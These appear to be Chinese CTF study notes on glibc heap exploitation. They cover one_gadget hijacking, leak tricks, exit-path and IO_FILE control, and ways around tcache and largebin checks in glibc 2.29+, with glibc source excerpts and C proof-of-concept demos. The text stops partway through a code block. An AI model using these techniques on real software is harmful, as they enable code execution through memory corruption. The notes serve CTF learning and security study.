# ctf笔记

> 随心情笔记，不定期更新

## one\_gadgets笔记：

1.改malloc\_hook为one\_gadgets,一般malloc触发的方式，one\_gadgets由于限制条件不满足，执行都不会成功，可以考虑free两次造成double free，调用malloc\_printerr触发，恰好\[esp+0x50]=0(当向非标准IO函数向缓冲流输出或输入的数据过大时，往往会先预先给数据分配内存。比如printf/scanf-打印/输入字符串过长时会触发malloc)

2.在地址上**malloc\_hook与**realloc\_hook是相邻的，在攻击malloc\_hook我们没有能够成功执行one\_gadgets，但是我们可以通过将**malloc\_hook更改为\_libc\_realloc+0x14,将**realloc\_hook更该为one\_gadgets。 这样的好处在于，我们能够控制\_\_malloc\_hook指向的代码的内容，规避掉\_libc\_realloc中部分指令，从而更改在执行one\_gadgets时的占空间，创建能够成功执行one\_gadgets的栈空间。这是一个很巧妙的点

3.虽然`__free_hook`上方几乎是"\x00"，无可用size，但是我们可以先用 unsorted attack 攻击`__free_hook`上方，在其上方踩出 size，再去劫持 \_\_free\_hook。

4.使用`tcache stashing attack`或`unsorted_bin_attack`，将`_IO_2_1_stdin_->_IO_buf_end`改成`main_arena+x`(我这里是+352)，从而可以在scanf的时候输入数据到`realloc_hook`和`malloc_hook`，改成one\_gadget，调节下偏移即可。

5.利用house of husk ,覆写`__printf_function_table`表为heap地址(让其不为空)，覆写`__printf_arginfo_table`表为heap地址且heap\['s']被覆写为了one\_gadget，在调用格式化字符带有`%s`printf()函数时，即可get shell。

6.写exit函数在ld.so中的`_rtld_global._dl_rtld_lock_rescursive` 为one\_gadget

7.当程序开启full relor时，可写libc中puts函数开头的strlen的got表

## 无leak函数的利用笔记：

* 没开PIE的情况

1.可申请或者构造非fastbin chunk情况，能够修改free\_got --> puts\_plt,下次释放一个unsorted\_bin chunk(入链)或者fastbin chunk(入链) ,程序调用链 free->free\_got->puts\_plt->puts 以此泄露libc地址或者heap地址。

2.只能存在fastbin chunk情况，修改 free\_got 为 printf，释放一个有格式化字符串的chunk，利用构造格式化字符串漏洞 打印栈中的 libc 地址。

* 开启PIE的情况

利用IO\_write\_base实现leak，详细见<https://b0ldfrev.gitbook.io/note/pwn/iofile-li-yong-si-lu-zong-jie#li-yong-iowritebase-shi-xian-leak>

* 无须泄露，全程爆破的方式(不实用)

[House\_of\_Roman](https://b0ldfrev.gitbook.io/note/pwn/house_of_roman)

## IO\_FILE笔记

程序调用exit 后会遍历 `_IO_list_all`,调用 `_IO_2_1_stdout_` 下的vatable中`_setbuf` 函数.

## glibc缺陷

glibc缺陷 : 对于未开启tcache版本来说，只要释放chunk大小在fastbin范围，那就不检查当前释放这个chunk是否已经free（通常检测下一个相邻chunk的prev\_size位），就直接将其放入fastbin；

对于开启tcache版本来说，只要tcache中有空，那就不检查当前释放这个chunk是否已经free（通常检测下一个相邻chunk的prev\_size位），并直接将其放入tcache中。对于开启tcache这种情况，相对来说就会更危险，我们很容易构造堆风水来实现进一步利用。

## malloc\_consolidate笔记

`malloc_consolidate()`函数用于将 fast bins 中的 chunk 合并，并加入 unsorted bin 中。 ptmalloc中会有以下几种情况会调用`malloc_consolidate()`

1. 在`_int_malloc`的while循环之前，分配的 chunk 属于 small bin,如果 small bin 还没有初始化为双向循环链表，则调用`malloc_consolidate()`函数将 fast bins中的 chunk 合并.
2. 在`_int_malloc`的while循环之前，分配的 chunk 属于 large bin，判断当前分配区的 fast bins 中是否包含 chunk，如果存在，调用 `malloc_consolidate()`函数合并 fast bins 中的 chunk
3. 在分配chunk时 假如最后 top chunk 也不能满足分配要求，就会查看 fast bins 中是否有空闲 chunk ，若存在就调用malloc\_consolidate()函数，并重新设置当前 bin 的 index，并转到最外层的循环，尝试重新分 配 chunk。
4. 在释放chunk时，遇到相邻空闲chunk合并或者与topchunk合并，如果合并后的 chunk 大小大于 64KB，并且 fast bins 中存在空闲 chunk，则会调用malloc\_consolidate()函数合并 fast bins 中的空闲 chunk 到 unsorted bin 中

一些能触发`malloc_consolidate`的 trick

* scanf时可输入很长一段字符串 "1"\*0x1000,这样可以导致scanf内部扩充缓冲区，从而调用init\_malloc来分配更大的空间，从而导致malloc\_consolidate，合并fast\_bin中的空闲chunk。调用栈如图：

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2F-Ll_aFs85Fjma0xe_X9P%2F-Ll_aGr-c5MkaSO1BAHs%2F3.jpg?generation=1565072630420380\&alt=media)

* 如果程序没有setbuf(stdin,0)也就是没有关闭stdin的缓冲区。getchar() 会开辟一个很大的堆块形成缓冲区，也就是申请0x400的chunk,此时fast\_bin中存在chunk，就会调用`malloc_consolidate`合并

```c
pwndbg> bt

#0  __GI___libc_malloc (bytes=1024) at malloc.c:2902
#1  0x00007ffff7a7a1d5 in __GI__IO_file_doallocate (fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at filedoalloc.c:127
#2  0x00007ffff7a88594 in __GI__IO_doallocbuf (fp=fp@entry=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at genops.c:398
#3  0x00007ffff7a8769c in _IO_new_file_underflow (fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at fileops.c:556
#4  0x00007ffff7a8860e in __GI__IO_default_uflow (fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at genops.c:413
#5  0x00007ffff7a83255 in getchar () at getchar.c:37
```

## 程序退出

1.程序会执行到libc里面`__GI___call_tls_dtors`函数

```python
   0x7ffff7a475d0 <__GI___call_tls_dtors>:      push   rbp
   0x7ffff7a475d1 <__GI___call_tls_dtors+1>:    push   rbx
   0x7ffff7a475d2 <__GI___call_tls_dtors+2>:    sub    rsp,0x8
   0x7ffff7a475d6 <__GI___call_tls_dtors+6>:    mov    rbp,QWORD PTR [rip+0x3897a3]        # 0x7ffff7dd0d80
=> 0x7ffff7a475dd <__GI___call_tls_dtors+13>:    mov    rbx,QWORD PTR fs:[rbp] # rbp=-0x40
   0x7ffff7a475e2 <__GI___call_tls_dtors+18>:    test   rbx,rbx
   0x7ffff7a475e5 <__GI___call_tls_dtors+21>:    je     0x7ffff7a4762e <__GI___call_tls_dtors+94>
   0x7ffff7a475e7 <__GI___call_tls_dtors+23>:    nop    WORD PTR [rax+rax*1+0x0]
   0x7ffff7a475f0 <__GI___call_tls_dtors+32>:    mov    rdx,QWORD PTR [rbx+0x18]
   0x7ffff7a475f4 <__GI___call_tls_dtors+36>:    mov    rax,QWORD PTR [rbx]
   0x7ffff7a475f7 <__GI___call_tls_dtors+39>:    mov    rdi,QWORD PTR [rbx+0x8]
   0x7ffff7a475fb <__GI___call_tls_dtors+43>:    ror    rax,0x11
   0x7ffff7a475ff <__GI___call_tls_dtors+47>:    xor    rax,QWORD PTR fs:0x30
   0x7ffff7a47608 <__GI___call_tls_dtors+56>:    mov    QWORD PTR fs:[rbp+0x0],rdx
   0x7ffff7a4760d <__GI___call_tls_dtors+61>:    call   rax
   0x7ffff7a4760f <__GI___call_tls_dtors+63>:    mov    rax,QWORD PTR [rbx+0x10]
```

观察看出，`__GI___call_tls_dtors+18`也就是rbx不为零时，程序会执行到下面的`call rax`，且参数是由rbx控制，再看`__GI___call_tls_dtors+13`,rbx是fs:\[-0x40]，也就是当前线程栈的TLS结构体的上方0x40处，若能覆盖到此处，就能控制程序执行流程。在最终`call rax`之前，还有一次`ror rax,0x11`和`xor rax, fs:[0x30]`，需要leak出TLS的pointer\_guard成员.

```c
typedef struct {   
void *tcb;        /* Pointer to the TCB.  Not necessarily the thread descriptor used by libpthread.  */   
dtv_t *dtv;   
void *self;       /* Pointer to the thread descriptor.  */   
int multiple_threads;   
int gscope_flag;   
uintptr_t sysinfo;   
uintptr_t stack_guard;   #canary  offset=fs:0x28
uintptr_t pointer_guard;   
... } tcbhead_t;
```

2.程序在执行退出流程时，最终会在ld.so这个动态装载器里面调用\_dl\_fini函数，这个函数，利用方式见下图：

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2F-LlpCnDsxaQbaH2X16iw%2F-LlpConucDUPmd4GmMLb%2F4.png?generation=1565334656252522\&alt=media)

```python
pwndbg> 
10:0080│   0x7fffffffe4c0 ◂— 0x0
... ↓
13:0098│   0x7fffffffe4d8 —▸ 0x7fffffffe548 —▸ 0x7fffffffe7bc ◂— 'LC_PAPER=zh_CN.UTF-8'
14:00a0│   0x7fffffffe4e0 —▸ 0x7ffff7ffe168 ◂— 0x0
15:00a8│   0x7fffffffe4e8 —▸ 0x7ffff7de77db (_dl_init+139) ◂— jmp    0x7ffff7de77b0
16:00b0│   0x7fffffffe4f0 ◂— 0x0
```

rbx的值为栈里\_dl\_init+139上方的0x7ffff7ffe168

## calloc绕过 leak

2.23及 以上libc都适用

```c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

typedef long *longptr;

int main()

{
longptr v[7];
long *a,*b,*c;

a=malloc(20);
b=malloc(20);

memset(b,'A',20);
/*
for (int i=0;i<7;i++)
{
v[i]=malloc(20);
}

for (int i=0;i<7;i++)
{
free(v[i]);
}
*/
free(b);
b[-1] |= 2;

c=calloc(1,20);

for (int i=0;i<20;i++)
{
printf("%.2x",((char *)c)[i]);

}
putchar("\n");
exit(0);

}
```

给fastbin\_chunk的size的IS\_MAPPED域置1.通过calloc分配到时，不会被清空。

```python
chris@ubuntu:~$ ./calloc
00000000000000004141414141414141414141419
```

## stack\_povit

栈迁移到.bss段时，若栈上方(低地址处)有大约0x200字节的空白空间，则执行system函数就不会报错；但我们通常使用onegadget获取shell

## fd相关 close(1)

* 对于有write函数调用的情况下.

write函数直接能够将输出重定位到0或2描述符.

```c
#include<stdio.h>
void main()
{
close(1);
write(0,"123",3);
return 0;
}
```

这时能打印123.原因是0，1，2文件描述符都指向同一个tty文件，如下：

```python
[master●]#~ file /proc/8642/fd/0
/proc/8942/fd/0: symbolic link to /dev/pts/18
[master●]#~ file /proc/8642/fd/1
/proc/8942/fd/1: symbolic link to /dev/pts/18
[master●]#~ file /proc/8642/fd/2
/proc/8942/fd/2: symbolic link to /dev/pts/18
```

* 无write函数调用情况下.

由于程序只关闭了文件描述符1，却没有关闭文件描述符0，所以我们可以修改stdout的文件描述符\_fileno为0或2，则可以使得程序再次拥有了输出的能力，这时再调用printf或者puts就能输出了

* close(1)后，格式化字符串最多只能写0x2000字节，这种情况下在利用时可修改程序.bss段中的stdout指针地址为stderr指针，由源码分析，在vprintf的check时刚好能通过，这使得printf再次拥有输出能力
* close(1)时获取服务器端flag，利用重定向"cat flag >&0"
* 再调用scanf时，会取到`_IO_2_1_stdin_`结构的`fileno`,最终汇到底层系统调用read`（_IO_2_1_stdin_.fileno，buf，nbytes）`。所以有些时候如果我们能够控制`IO_stdin`结构的fileno为其它fd，再去调用scanf函数时就可以实现从其它fd读数据。

## off-by-one 构造思路

* 方法一

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2F-Lqz16A7rOvDaRwgTZTR%2F-Lqz18GIaQ7WHLkZJWA-%2Foff-by-one1.jpg?generation=1570868075002071\&alt=media)

* 方法二

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2F-Lqz16A7rOvDaRwgTZTR%2F-Lqz18GKd_8-xRnflZM_%2Foff-by-one2.jpg?generation=1570868074963376\&alt=media)

* 方法三(非特殊情况不推荐)

原理与方法一类似，在能泄露heap地址前提下，直接构造fake\_chunk,填好指针，绕过unlink

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2F-Lqz16A7rOvDaRwgTZTR%2F-Lqz18GMd2WhLNFXR3pM%2Foff-by-one3.jpg?generation=1570868074876681\&alt=media)

## realloc

简化版的realloc，非mmapped分配方式

```c
__libc_realloc (void *oldmem, size_t bytes)

{

checked_request2size (bytes, nb_szie);
old_size = chunksize (oldmem);

// 如果bytes为零，相当于free
if (bytes = 0) 
{ 
    free(oldmem); 
    return 0;
}

//  如果old_size大于请求size，那就缩减old_size,如果缩减的size小于当前arch最小chunk的大小(不能切割出一个chunk)，那就直接返回原来的oldmem，剩下的交给用户处理，不多管.
if (old_size > nb_size)  
{ 

if (old_size - nb_size >= 4 * SIZE_SZ) 
{
  free( oldmem + nb_size );
}  
old_size=nb_size; 
return oldmem; 
}


// 如果old_size小于请求size，glibc2.23是按照常规malloc分配，2.27是从直接从topchunk分配
if (old_size < nb_size ) 
{

    if (glibc==2.23)
     {
        p=malloc(bytes);
        free(oldmem);
        return p;
     }

    if(glibc==2.27)
     {
        p=malloc(bytes); // no_tcache 的_int_malloc不会分配tcache里面的chunk
        free(oldmem);
        return p;
     }

}

}
```

## tcache相关

tcache\_perthread\_struct结构体是用来管理tcache链表： 这个结构体位于heap段的起始位置，且有size：0x251

```c
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];//数组长度64，每个元素最大为0x7，仅占用一个字节（对应64个tcache链表）
  tcache_entry *entries[TCACHE_MAX_BINS];//entries指针数组（对应64个tcache链表，cache bin中最大为0x400字节
  //每一个指针指向的是对应tcache_entry结构体的地址。
} tcache_perthread_struct;
```

一个tcache链表的结构，单个tcache bins默认最多包含7个块。tcache\_entry： 2.26

```c
typedef struct tcache_entry
{
  struct tcache_entry *next;//指向的下一个chunk的fd字段
} tcache_entry;
```

2.28存在bk字段所有的bk都指向tcache\_perthread\_struct的fd

```c
typedef struct tcache_entry
{
 //指向tcache的下一个chunk，
  struct tcache_entry *next;
  /* 这个字段是用来检测双重free释放的  */
  struct tcache_perthread_struct *key;
} tcache_entry;
```

放入tcache bin的情况:

* 释放时，`_int_free`中在检查了size合法后(小于0x400)，放入fastbin之前，它先尝试将其放入tcache
* 在`_int_malloc`中，若fastbins中取出块则将对应bin中其余chunk填入tcache对应项直到填满（smallbins中也是如此）
* 当进入unsorted bin(同时发生堆块合并）中找到精确的大小时，并不是直接返回而是先加入tcache中，直到填满：

取tcache bin中的chunk：

* 在`__libc_malloc`，`_int_malloc`之前，如果tcache中存在满足申请需求大小的块，就从对应的tcache中返回chunk
* 在遍历完unsorted bin(同时发生堆块合并）之后，若是tcache中有对应大小chunk则取出并返回：
* 在遍历unsorted bin时，大小不匹配的chunk将会被放入对应的bins，若达到`tcache_unsorted_limit`限制且之前已经存入过chunk则在此时取出（默认无限制）：

## tcache struct攻击

* tcache初始化

```c
tcache_init(void)
{
  mstate ar_ptr;
  void *victim = 0;
  const size_t bytes = sizeof (tcache_perthread_struct);
  if (tcache_shutting_down)
    return;
  arena_get (ar_ptr, bytes);
  victim = _int_malloc (ar_ptr, bytes);
  if (!victim && ar_ptr != NULL)
    {
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);
    }
  if (ar_ptr != NULL)
    __libc_lock_unlock (ar_ptr->mutex);
  /* In a low memory situation, we may not be able to allocate memory
     - in which case, we just keep trying later.  However, we
     typically do this very early, so either there is sufficient
     memory, or there isn't enough memory to do non-trivial
     allocations anyway.  */
  if (victim)
    {
      tcache = (tcache_perthread_struct *) victim;
      memset (tcache, 0, sizeof (tcache_perthread_struct));
    }
}
```

在程序需要进行动态分配时，如果是使用TCACHE机制的话，会先对tcache进行初始化。跟其他bins不一样的是，tcache是用\_int\_malloc函数进行分配内存空间的，因此tcache结构体是位于heap段，而不是main\_arena。通常 tcache结构体位于堆首的chunk.

```c
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];//0x40
  tcache_entry *entries[TCACHE_MAX_BINS];//0x40
} tcache_perthread_struct;
```

tcache的结构是由0x40字节数量数组（每个字节代表对应大小tcache的数量）和0x200(0x40\*8)字节的指针数组组成（每8个字节代表相应tache\_entry链表的头部指针）。因此整个tcache\_perthread\_struct结构体大小为0x240。

* tcache free

```c
#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache
        && tc_idx < mp_.tcache_bins
        && tcache->counts[tc_idx] < mp_.tcache_count)//<7
      {
        tcache_put (p, tc_idx);
        return;
      }
  }
#endif
```

在将chunk放入tcahce的时候会检查tcache->counts\[tc*idx] < mp*.tcache\_count（无符号比较），也就是表示在tacha\_entry链表中的tache数量是否小于7个。但值得注意的是，tcache->counts\[tc\_idx]是放在堆上的，因此如果可以修改堆上数据，可以将其改为较大的数，这样就不会将chunk放入tache了。

* tcache malloc

```c
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  checked_request2size (bytes, tbytes);
  size_t tc_idx = csize2tidx (tbytes);
  MAYBE_INIT_TCACHE ();
  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx < mp_.tcache_bins
      /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
      && tcache
      && tcache->entries[tc_idx] != NULL)
    {
      return tcache_get (tc_idx);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif
```

而在tcache分配时，不会检查`tcache->counts[tc_idx]`的大小是否大于0，会造成下溢。且没有检测entries处chunk的合法性，我们若能伪造`tcache->entries[tc_idx]`的`tcache_entry`指针，那我们就能实现从tcache任意地址分配chunk。

## 关于glibc 2.29及以上一些check的绕过

1.在unlink操作前增加了prevsize的检查机制：在合并的时候会判断prev\_size和要合并chunk的size是否相同。

```c
/* consolidate backward */
if (!prev_inuse(p)) {
  prevsize = prev_size (p);
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
  unlink_chunk (av, p);
}
```

这样导致了常规off-by-null的构造方式失效，但可利用残余在 large bin 上的 fd\_nextsize / bk\_nextsize 指针，smallbin残留的bk指针，以及fastbin的fd指针 来构造出一个天然的chunk链来绕过size检测与双向链表检测。具体见<https://bbs.pediy.com/thread-257901.htm>

2.增加了`tcache_double_free`的检测，2.29将每个放入tcache中的chunk->bk(也是tcache entries结构的key位)设置为tcache。

```c
void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}
```

在释放tcache中的chunk时，只根据相应的tc\_idx检测重复chunk

```c
/* This test succeeds on double free.  However, we don't 100%
    trust it (it also matches random payload data at a 1 in
    2^<size_t> chance), so verify it's not an unlikely
    coincidence before aborting.  */
if (__glibc_unlikely (e->key == tcache))
  {
    tcache_entry *tmp;
    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
    for (tmp = tcache->entries[tc_idx];
    tmp;
    tmp = tmp->next)
      if (tmp == e)
  malloc_printerr ("free(): double free detected in tcache 2");
    /* If we get here, it was a coincidence.  We've wasted a
        few cycles, but don't abort.  */
  }
```

绕过方式：可以将同一个tcache\_chunk放入不同的tcache\_bin或其他bin中来重新实现利用（这种方式见House\_of\_botcake）；也可以篡改chunk->key，使其e->key != tcache来绕过。

也可以利用fastbin的double free，待fastbin形成double\_free链后再malloc重分配清空tchache预留位置，最后一次malloc使得剩余fastbin进入tcache，实现堆块复用。详细可参见[glibc2.31下的新double free手法/字节跳动pwn题gun题解](https://blog.csdn.net/chennbnbnb/article/details/109284780)

3.`_int_malloc`中，使用`unsortedbin_attack`时，增加了对unsortedbin双向链表的完整性检测，导致`unsortedbin_attack`不可用.

```c
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
  malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
```

但有另外的地方可利用，`unsortedbin_attack`无非就是往一个地址写一个值，如果只是为了改例如`global_max_fast`,那`largebin_attack`完全可以替代，只不过写入的是堆地址，只是和`largebin_attack`配套的`house of strom`来实现任意地址分配不能用了。

```
          if (__glibc_unlikely (size <= 2 * SIZE_SZ)
              || __glibc_unlikely (size > av->system_mem))
            malloc_printerr ("malloc(): invalid size (unsorted)");
          if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
              || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
            malloc_printerr ("malloc(): invalid next size (unsorted)");
          if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
            malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
          if (__glibc_unlikely (bck->fd != victim)
              || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
            malloc_printerr ("malloc(): unsorted double linked list corrupted");
          if (__glibc_unlikely (prev_inuse (next)))
            malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
```

如果要达到写libc地址，也可以，有师傅把它叫做**tcache stash unlink attack plus**，

```c
  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
      if (__glibc_unlikely (bck->fd != victim))
        malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;  
          bck->fd = bin;

          if (av != &main_arena)
        set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
      /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
      size_t tc_idx = csize2tidx (nb);
      if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks over.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = last (bin)) != bin)
        {
          if (tc_victim != 0)
            {
              bck = tc_victim->bk;
              set_inuse_bit_at_offset (tc_victim, nb);
              if (av != &main_arena)
            set_non_main_arena (tc_victim);
              bin->bk = bck;
              bck->fd = bin;

              tcache_put (tc_victim, tc_idx);
                }
        }
        }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }
```

前置条件是：对应tcache中预留2个chunk位（至少）(除非你能伪造fd，绕过双向链表检测)

small bin中存在2个chunk，我们修改small bin头部chunk的bk为`target`，fd不变（ 不修改small bin尾部chunk是为了绕过分配时的`smallbin double linked list corrupted`检测 ）,且`target->bk`( `target+3*size_t` )必须是一个可写地址，记作`target->bk = attack_addr`

原理是`_int_malloc`中,当从small bin中申请出chunk时，small bin尾部chunk在经过双向链表检测后会被分配出去，启用tcache会遍历small bin中剩余的chunk放入到对应tcache中，但此时的small bin链表已经被破坏，`(tc_victim = last (bin)) != bin` 这个条件恒成立直到abort，为了beak那个while循环，我们才在tcache中预留2个chunk位，直到tcache被填满`tcache->counts[tc_idx] = mp_.tcache_count`以此来跳出循环。

同时在最后一次unlink过程中会往`attack_addr -> fd`写入一个`main_arena`的地址，**实现任意地址写**。(当然这个洞在引入tcache时的glibc版本就已经存在)。

```c
static void *
_int_malloc (mstate av, size_t bytes)


/* While bin not empty and tcache not full, copy chunks over.  */
while (tcache->counts[tc_idx] < mp_.tcache_count
  && (tc_victim = last (bin)) != bin)
{
    if (tc_victim != 0)
        {
          bck = tc_victim->bk;
          set_inuse_bit_at_offset (tc_victim, nb);
          if (av != &main_arena)
        set_non_main_arena (tc_victim);
          bin->bk = bck;
          bck->fd = bin;
          tcache_put (tc_victim, tc_idx);
        }
}
```

这时tcache已满，且tcache顶部刚好是我们伪造那个`target_chunk`

4.在使用top chunk的时候增加了检查：size要小于等于system\_mems，因为House of Force需要控制top chunk的size为-1，不能通过这项检查，所以House of Force不可用

5.从glibc 2.30开始，常规large bin attack方法也被封堵

```c
  if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                      if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
```

查看相关代码，发现其中只增加了对 size 大于最小 size 的时候做了 检查，但是小于最小 size 却没有进行检查，因此我们可以利用这一点来完成 libc2.30 及以上的`largebin attack`。

具体做法是，往 `largebin` 中放一个堆块，并在 `unsorted bin` 中放一个比 `large bin` 中小但是在同一个 index的堆块，利用 `uaf` 修改 `large bin` 的 `bk_nextsize = 目标地址`，申请一个比 `unsorted bin` 中小的 `chunk` 触发攻击，此时 `largebin->bk_nextsize->fd_nextsize` 写入堆地址。

## tcache相关冷门漏洞(任意地址写与任意地址分配)

1.small bin

```c
  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
      if (__glibc_unlikely (bck->fd != victim))
        malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;  
          bck->fd = bin;

          if (av != &main_arena)
        set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
      /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
      size_t tc_idx = csize2tidx (nb);
      if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks over.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = last (bin)) != bin)
        {
          if (tc_victim != 0)
            {
              bck = tc_victim->bk;
              set_inuse_bit_at_offset (tc_victim, nb);
              if (av != &main_arena)
            set_non_main_arena (tc_victim);
              bin->bk = bck;
              bck->fd = bin;

              tcache_put (tc_victim, tc_idx);
                }
        }
        }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }
```

前置条件是：对应tcache中预留2个chunk位（至少）(除非你能伪造fd，绕过双向链表检测)

small bin中存在2个chunk，我们修改small bin头部chunk的bk为`target`，fd不变（ 不修改small bin尾部chunk是为了绕过分配时的`smallbin double linked list corrupted`检测 ）,且`target->bk`( `target+3*size_t` )必须是一个可写地址，记作`target->bk = attack_addr`

原理是`_int_malloc`中,当从small bin中申请出chunk时，small bin尾部chunk在经过双向链表检测后会被分配出去，启用tcache会遍历small bin中剩余的chunk放入到对应tcache中，但此时的small bin链表已经被破坏，`(tc_victim = last (bin)) != bin` 这个条件恒成立直到abort，为了beak那个while循环，我们才在tcache中预留2个chunk位，直到tcache被填满`tcache->counts[tc_idx] = mp_.tcache_count`以此来跳出循环。

同时在最后一次unlink过程中会往`attack_addr -> fd`写入一个`main_arena`的地址，实现任意地址写。

```c
static void *
_int_malloc (mstate av, size_t bytes)


/* While bin not empty and tcache not full, copy chunks over.  */
while (tcache->counts[tc_idx] < mp_.tcache_count
  && (tc_victim = last (bin)) != bin)
{
    if (tc_victim != 0)
        {
          bck = tc_victim->bk;
          set_inuse_bit_at_offset (tc_victim, nb);
          if (av != &main_arena)
        set_non_main_arena (tc_victim);
          bin->bk = bck;
          bck->fd = bin;
          tcache_put (tc_victim, tc_idx);
        }
}
```

这时tcache已满，且tcache顶部刚好是我们伪造那个`target_chunk`

由于smallbin摘链后chunk全部进入tcache，且已满，这时tcache对应idx入口处的chunk是`target_chunk`。如果再次调用malloc申请chunk，得益于从tcache分配时未仔细检查`chunk_head`，这时便会从tcache中将这个`target_chunk`分配出来，实现任意地址分配内存。

demo代码可参考V1me师傅写的

```c
#include<stdio.h>
#include<stdlib.h>
int main() {
    char buf[0x100];
    long *ptr1 = NULL, *ptr2 = NULL;
    int i = 0;

    memset(buf, 0, sizeof(buf));
    *(long *)(buf + 8) = (long)buf + 0x40;

    // put 5 chunks in tcache[0x90]
    for (i = 0; i < 5; i++) {
        free(calloc(1, 0x88));
    }

    // put 2 chunks in small bins
    ptr1 = calloc(1, 0x168);
    calloc(1, 0x18);
    ptr2 = calloc(1, 0x168);

    for (i = 0; i < 7; i++) {
        free(calloc(1, 0x168));
    }

    free(ptr1);
    ptr1 = calloc(1, 0x168 - 0x90);

    free(ptr2);
    ptr2 = calloc(1, 0x168 - 0x90);

    calloc(1, 0x108);

    // ptr1 and ptr2 point to the small bin chunks [0x90]
    ptr1 += (0x170 - 0x90) / 8;
    ptr2 += (0x170 - 0x90) / 8;

    // vuln
    ptr2[1] = (long)buf - 0x10;

    // trigger
    calloc(1, 0x88);

    // malloc from tcache
    ptr1 = malloc(0x88);
    strcpy((char *)ptr1, "Ohhhhhh! you are pwned!");
    printf("%s\n", buf);
    return 0;
}
```

2.fast bin

当从fastbin中分配出chunk时(比如调用calloc->\_int\_malloc)，如果fastbin中还有剩余chunk且相对应idx的tcache有空闲位置，这时就会根据fd指针将剩余的fastbin\_chunk链入tcache中，且在这个过程中并没有检查剩余`fastbin_chunk`的完整性。

```c
static void *
_int_malloc (mstate av, size_t bytes)

#if USE_TCACHE
          /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
          size_t tc_idx = csize2tidx (nb);
          if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = *fb) != NULL)
            {
              if (SINGLE_THREAD_P)
            *fb = tc_victim->fd;
              else
            {
              REMOVE_FB (fb, pp, tc_victim);
              if (__glibc_unlikely (tc_victim == NULL))
                break;
            }
              tcache_put (tc_victim, tc_idx);
